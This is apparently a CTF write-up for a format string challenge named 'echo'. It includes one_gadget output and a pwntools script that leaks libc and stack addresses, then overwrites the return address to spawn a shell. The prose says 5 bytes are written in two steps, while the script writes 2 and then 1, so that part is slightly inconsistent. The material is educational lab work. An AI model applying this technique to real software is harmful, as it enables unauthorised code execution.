There are three chances to perform format string attacks, each with an input size of 24 bytes.

image.png

Noticing that the values of the registers are returned when the program finishes, we can use this information.

image.png

In libc, the conditions for the one_gadet are as follows, which can be met:

$ one_gadget ./libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

For first input, it leaks the addresses of libc and the stack. Based on the return address, we can determine the base address of libc and the stack address corresponding to the ret instruction. Modifying the one_gadget requires 5 bytes, but since printf can modify at most 4 bytes in one go, we split the modification into two steps to write 5 bytes in total. After modifying the address of one_gadget, a shell is obtained.

Payload:

from pwn import *
context.log_level = "debug"
context.arch = "amd64"

# p = remote("chal.polyuctf.com", 31340)
p = process(['./echo'], env={'LD_PRELOAD': './libc.so.6'})
libc = ELF('./libc.so.6')

p.recvuntil("Tell me something:\\n")
p.sendline("%43$p%40$p")
ret = int(p.recv(14), 16) - 243 - libc.sym['__libc_start_main']
stack = int(p.recv(14), 16) - 0x100 + 0x18

success("ret => " + hex(ret))
success("stack => " + hex(stack))

# First payload to write the least significant 2 bytes
payload = "%" + str((ret + 0xe3b01) & 0xffff) + "c%10$hn"
p.sendline(payload.ljust(16, "a") + p64(stack))

# Second payload to write the next 2 bytes
payload = "%" + str(((ret + 0xe3b01) >> 16) & 0xff) + "c%10$hhn"
p.sendline(payload.ljust(16, "a") + p64(stack + 2))

p.interactive()